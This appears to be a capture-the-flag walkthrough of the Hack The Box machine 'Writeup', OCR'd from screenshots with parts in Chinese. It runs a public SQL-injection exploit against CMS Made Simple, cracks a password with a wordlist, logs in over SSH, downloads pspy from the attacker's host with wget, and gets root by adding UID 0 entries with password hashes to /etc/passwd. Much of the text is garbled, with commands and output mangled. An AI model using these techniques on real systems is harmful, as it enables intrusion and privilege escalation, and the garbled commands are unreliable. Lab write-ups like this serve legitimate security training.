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Writeup is an easy difficulty Linux box with DoS protection in place to prevent brute forcing. A CMS is found, and contains a SQL
injection vulnerability, which is leveraged to gain user credentials. The user is found to be in a non-default group, which gives him
write access to part of the PATH. A path hijacking results in escalation of privileges to root.
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Page is hand-crafted with vi.
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# Disallow access to the blog until content is finished.
lser-agent: *
Disallow: /fwriteup/

fkapacheF# & Hrobots XA, R T writeup H ...

Y #

10.10.10.138/robots.txt X
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After many month of lurking around on HTB I also decided to start writing about the boxes I hacked. In the upcoming days, weeks and month you will find
more and more content here as I am about to convert my famous incomplete notes into pretty write-ups.

I am still searching for someone to provide or make a cool theme. If you are interested, please contact me on NetSec Focus Mattermost. Thanks.
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H http://10.10.10 up/ - Mozilla Firefox

10.10.10.138/robots.txt X Home - writeup X http://10.10.10.138//writeup/ X ar
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<!doctype html>

<html lang="en_US"><head>
<title>Home - writeup</title>

<base href="http://10.10.10. i -

/
S O EW EU ISP T TR T & (LS Made Simple - Copyright (C) 2004-2019. ALL rights reservedis

<meta http-equiv="Content-T = text/irtmtTerset=ut =87

</-- cms_stylesheet error: No stylesheets matched the criteria specified -->
<style>.footer { background-color: white; position: fixed; left: 0; bottom: 0; width: 100%; color: black; text-align: center; }</style>
</head><body>
<header id="header">
<hl>writeup</hl>
</header>

<nav id="menu">

<ul><li class="currentpage"><a class="currentpage" href="http://10.10.10.138/writeup/">Home Page</a></li><li><a href="http://10.10.10.138/writeup/in} G
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Q, Al ] videos &) Images [ News ? Shopping i More Settings Tools

About 135,000,000 results (0.67 seconds)

éwm_cmsmadesimple_org v
pen Source Content Management System : : CMS Made .

Why choose CMS Made Simple ™72 User Friendly Highly Expandable Design Freedom
Powerful Addons Open Source CMS Made Simple offers an easy to use.

Results from cmsmadesimole.ora Q

NDownlnard 2 2 14 Ahniit CMS Marde Simnle
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You can download it by clicking on CMS Made Simple is an Open
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) # CMS Made Simple™ Download Sectio Simple - illa Firefox

10.10.10.13 bots.txt X | Home - writeup X | htt 0.10.10.13 teup/ X @ CMS Made Simple™ Down! X

(o (& ‘Q ® cmsmadesimple.org E

Kali Linux Kali Training KaliTools « KaliDocs Kali Forums NetHunter || Offensive Security Exploit-DB GHDB || MSFU

BME ‘; > Ma“ﬂ siml]la HOME ABOUT WHY CMSMS™ COMMUNITY SUPPORT

I ) - You may also wish to view our Quick Install options.
loads v
DOWNLOAD CMSMS™ 2.2.14
Overview
CMSMS Core & cmsms-2.2.14-install.zip (4.72 MB)
Modules changelog
BUElE Released: Mar 30, 2020
Themes Other Packages
Logos
t
Support v nded.zip

CMSMS IS IN BETA

The next great version of CMS Made Simple is currently undergoing beta testing. Download it here

X cmsms-2.3-beta7-install.zip (5.87 MB)

Released: Sep 4, 2019 ~
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,} Manesimnlg HOME ABOUT WHY CMSMs™ COMMUNITY SUPPORT

Subversion

Advanced developers may wish to check out the latest version of CMS Made Simple from the Subversion rej You
can do this from a shell with the following command:

svn co [http://svn.cmsmadesimple. Drg_/svn.fcmsmadesimple.ftrunk]

This is a dynamic piece of software that is updated frequently so if you are using SVN please be aware that things can
and will change and you might even lose some information. Do not report bugs, flaws, or problems when using the
SVN version of the software (it is usually a work in progress, and may not be functional at some points in time).

We are unable to support anybody using the SVN version of the software in any production site.
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Y » /trunk/doc - Mozilla Firefox

10.10.10.138/robots.txt X | Home - writeup X | http://10.10.10.138//writeup/ X | @ CMS Made Simple™ Down| X /trunk/doc
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Revision 12527

/trunk/doc
Parent Directory]
.htaccess
AUTHORS.txt
COPYING.txt
README.txt
htaccess.txt
robots.txt

Powered by Subversion 1.6.5 (r38866)
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Core - General K
1 - fix to the CmsLayoutStylesheetQuery class

- fix an edge case in the Database\Connection::DbTimeStamp() method

MicroTiny v2.2.4
- Minor fix in error displays.

Phar Installer v1.3.7
- Fix to edge case in step 3 where memory_Limit is set to -1

Version 2.2.9 - Blow Me Down
Core - General
PHP 7.2+ fixes.
- Now do not call Module::InitializeAdmin() or Module::InitializeFrontend() if the module loading is being forced
(as is the case sometimes within ModuleManager);
- Minor changes and fixes to prevent warnings/notices in CLI based scripts
Improvements to the {browser_lang} plugin.
Fixes a bug in the CmsLayoutTemplateQuery class.
Fixes a bug with the name= parameter in the {cms_stylesheet} plugin.
Fixes a minor issue in system information (smarty compilecheck).
- Fixes a minor issue with the tabIndex and accesskey fields in edit content.
- Fixes issue in the CmsLayoutStylesheet class related to asseciating designs with new stylesheets.
Wow check for an english Language file first in module_custom/xxxxx/Llang before a file for the current language.
Prevent false-positive hit for "multiple_webshells_0018" rule webserver virusscanner (https://github.com/Yara-Rules/rules/blob/master/Webshells/WShell_T
Fixes a bug in ContentOperations::LeadAllContent() if the content List had a custom content type from a module that was unvavai lable.
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MS) Showtime2 - File Upload Remote Code Execution (Metasploit) php/remote/46627.rb
.10 - 'index.php' Cross-Site Scripting php/webapps/26298.txt
0.10 - 'Lang.php' Remote File Inclusion php/webapps/26217 .html
.0.2 - 'SearchInput' Cross-Site Scripting php/webapps/29272.txt
.0.5 - 'Stylesheet.php' SQL Injection php/webapps/29941. txt
.11.10 - Multiple Cross-Site Scripting Vulnerabilities php/webapps/32668.txt
.11.9 - Multiple Vulnerabilities /webapps/43889.txt

.2 - Remote Code Execution /webapps/4442 . txt

Module TinyMCE - SQL Injection /webapps/4810.txt

Module FileManager - Arbitrary File Upload /webapps/5600.php

- Local File Inclusion ebapps/7285.txt

- Local File Disclosure /webapps/9407 . txt
- Local File Inclusion / Cross-Site Scripting /webapps/33643.txt
- Multiple Vulnerabilities ebapps/11424. txt

Cross-Site Request Forgery

‘default_ _lang' Local File Inclusion

Cross-Site Scripting / Cross-Site Request Forgery /webapps/34068.

- Multiple Vulnerabilities php/webapps/41997.

- Remote Code Execution ebapps/44192.

- (Authenticated) Remote Code Execution php/webapps/44976.

.7 - (Authenticated) Remote Code Execution /webapps/45793.

1.12.1 / < 2.1.3 - Web Server Cache Poisoning php/webapps/39760.

< 2.2.10 - SQL Injection php/webapps/46635.

Module Antz Toolkit 1.02 - Arbitrary File Upload php/webapps/34300.
Module Download Manager 1.4.1 - Arbitrary File Upload php/webapps/34298.py
Showtime2 Module 3.6.2 - (Authenticated) Arbitrary File Upload php/webapps/46546.py
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u dayu@kali: ~/§@Idaquriteup 178x44
day\,ﬂﬁrout'n}kali:,r'hurre"‘da'.“u,"iqj /dayuWriteup# python 46635.py
Traceback (most recent call last):
File "46635.py", line 12, in <module>
from termcolor import colored
ImportError: No module named termcolor
rootakali:/home/dayu/S & /dayulriteupy pip install termcolor
DEPRECATION: Py reached the end of its life on January 1st, 0. e your Python as Python 2.7 is no longer maintain pip 21.0 will drop support for Pytho|
6_4 7 in January 2¢ . More details about Python 2 support in pip, can be I .pypa.io/en/latest/development/release-proce hon-2-support
Collecting termcolor
Downloading termcolor-1.1.@.tar.gz (3.9 kB)

5}

Building wheel for termcolor (setup.py) ... done
Created wheel for termcolor: filename=termcolor-1.1.0-py2-none-any.whl size=5716 sha256=8f4f99cf727e19a0d8445f2653618118cdfdea7dbc48041683d5a086167fb81e
Stored in directory: /root/.cache/pip/wheels/48/54/87/2f4d1a48c87e43906477a3c93d9663c49ca092046d5a4b00bs
BSuccessfully built termcolor
Installing collected packages: termcolor
[ifd Successfully installed termcolor-1.1.0
Brootakali ome/dayu/% E /dayuWriteup# python 46635.py
[+] Specify an url target
[+] Example usage (no cracking password): exploit.py -u http://target-uri
[+] Example usage (with cracking password):(€xploit.py -u Rttp://target-uri --crack -w /path-wordlist
[+] Setup the variable TIME with an appropriate time, because this sql injection 1s a time based.
/home/dayu/5E [ /dayulriteup# |

hitpsblog.csdn.net
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e python 46635.py -u http://10.10.10.138/writeup/ --crack -w
t

/opt/dayuHTB/dayuHackTheBox/dayuAriekei/rockyou.txt
B AR BATENE . BT EXPMrockyoud b4, BBIRE T H 4%

rootakali:/home/dayu/E & /dayuWriteup# ssh jkralo.10.10.138
The authenticity of host '10.19.10.138 (10.19.10.138)" can't be established.
ECDSA key fingerprint is SHA256:TEwBogmentaVUz@BdLoHLKmD7USL1uIgidsdoX77oy0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.138' (ECDSA) to the list of known hosts.
jkral9.10.10.138"'s password:

1.xlsx Linux writeup &4.9.0-8-amdb4 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /fusr/share/doc/+*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
:~% 1s
user.txt
:~3 cal user.txt
dée493fdsnesafcoeb il W

|
E AN |

https:/fblog.csdn.net/qq_34801745

SSHARS I EF T ke, FH3R18 T user_flaglg &...

rootakali:/home/dayu/s B /dayulriteup# ssh jkra10.10.10.138

The authenticity of host '10.10.10.138 (10.10.10.138)' can't be established.
ECDSA key fingerprint is SHA256:TEwBogmentaVUz08dLoHLKmD7USL1uIqidsdoX770y@. ¢ 1s
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes 138 t spy32

Warning: Permanently added '10.10.10.138' (ECDSA) to the list of known hosts. ¢ sudo python -m SimpleHTTPServer 80
Jkr@10.10.10.138's password: Ser TP on 0.0 80

Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux 138 [17/3 :52:43] "GE

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

~$ 1s
user.txt

:~$ cat user.txt
d4e493fd4068afc9eblaaba55319f978

:~$ wget http://10.10.14.51/pspy32
--2020-07-16 22:56:56-- http://10.10.14.51/pspy32
Connecting to 10.10.14.51:80... connected.
HTTP request sent, awaiting response... 200 0K
Length: 2656352 (2.5M) [application/octet-stream]
Saving to: ‘pspy32’

pspy32 X 2.53M 391KB/s in 11s

2020-07-16 22:57:08 (227 KB/s) { ‘pspy32’ $aved [2656352/2656352]
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2020707716
2020/07/16
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FIEEE KMsshd? ? , REFHHF B ASEOERsshfa, KAE T HJrun-parts X% . .. BhrootA FR$4,
AT, BRI T ...

2020/07/16 23:02:01

“CExiting program... (interrupt)
:~$ id

uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),s4(video),s46(plugdey),50(staff)}103(netdev)
:~$ find / -group staff 2>/dev/null

/var/local

/usr/local

sr/local/bin
/Llocal/1nclude

gml/declaration
'fonts

/ /local/lib/python3.5/dist-packages
/usr/local/lib/python2.7
/usr/local/lib/python2.7/dist-packages

/local/lib/python2.7/site-packages
/usr/local/sbin

~$ I

T] & BljkrE — /N 44 Astaffit 419 .. staffpl 2 7] LA 5 lusrlocal/bin. ..

jkr@writeup: ~ 86x49
$ ssh jkra10.10.10.138

5(flopp

jkral0.10.10.138's password:

The programs included with the Devuan GNU/Linux system are free software
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copy

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 16 23:00:50 2020 from 10.10.14.51
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
1:1:daemon:/usr/sbin:/usr/sbin/nologin
2:bin:/bin:/usr/sbin/nologin
sr/sbin/nologin
65534:sync:/bin:/bin/sync
:5:60:games:/usr/games:/usr/sbin/nologin
12:man:/var/cache/man: /usr/sbin/nologin
:1p:/var/spool/lpd: /usr/sbin/nologin
sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
0:10:uucp:/var/spool cp:/usr/sbin/nologin
H roxy:/bin:/usr/sbin/nologin
data:/var/w bin/nologin
backup:/var/backups r/sbin/nologin
8:Mailing List Manager:/var/list:/usr/sbin/nologin
ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
65534:65534:nobody : /nonexistent: /usr/sbin/nologin
apt:x:100:65534::/nonexistent:/bin/false
: 04::/var/run/dbus:/bin/false
:/usr/sbin/nologin
:x:1000:1000: jkr, ,, : /home/jkr:/bin/bash
mysql:x:103:106:MySQL Server,,,:/nonexistent:/bin/false
rooot:gD1Prju6SWeKo:0:0:root:/root:/bin/bash
$
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dayu@kali: ~/£E/dayuWriteup
jkr@writeup: ~ 86x47

$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin: /bin/sync
games:x:5:60:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
lp:x:7:7:1p:/var/spool/1lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news: /var/spool/news: /usr/sbin/nologin
uucp:x:1@8:10:uucp:/var/spool/uucp: fusr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33 :www-data:/var/www: /usr/sbin/nologin
backup:x:34:34:backup: /var/backups: /usr/sbin/nologin
list:x:38:38:Mal1ling List Mamager:/var/list:/usr/sbin/nologin
irc:x:39:39:1rcd:/var/run/ircd: /usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534 :nobody : /nonexistent:/usr/sbin/nologin

apt:x:100:65534: : /nonexistent:/bin/false

messagebus:x:101:104: : /var/run/dbus: /bin/false
d:x:102:65534: :/run/sshd: fusr/sbin/nologin
kr:x:1000:1000:3kr,,, :/home/jkr:/bin/bash
mysql:x:183:106:MyS0L Server,,,:/nonexistent:/bin/false
rooot:gDlPrjuUeSWeko:0:8:root:/root:/bin/bash
rooot :KBzWUbGIVL4KK:@:@:root:/root:/bin/bash
roooot : KBzWUbGIVL4KK:0:@:root: /root: /bin/bash

$ su roooot

Password:

rootgwriteup: /home/jkr# id

,|'ir'|—f1f 'r'nn'i'?'l E'ir'l—f'lf 'r'nn'l'?'l Ern,l"ul:—f'lf 'r'nn'l'j'l
rootgwriteup: /home/jkr## cat /root/root.txt
ecba47foRb4Bef92b73 4, [ .

" " P |}
rovLgwriiedp. sJimomes JRIH .
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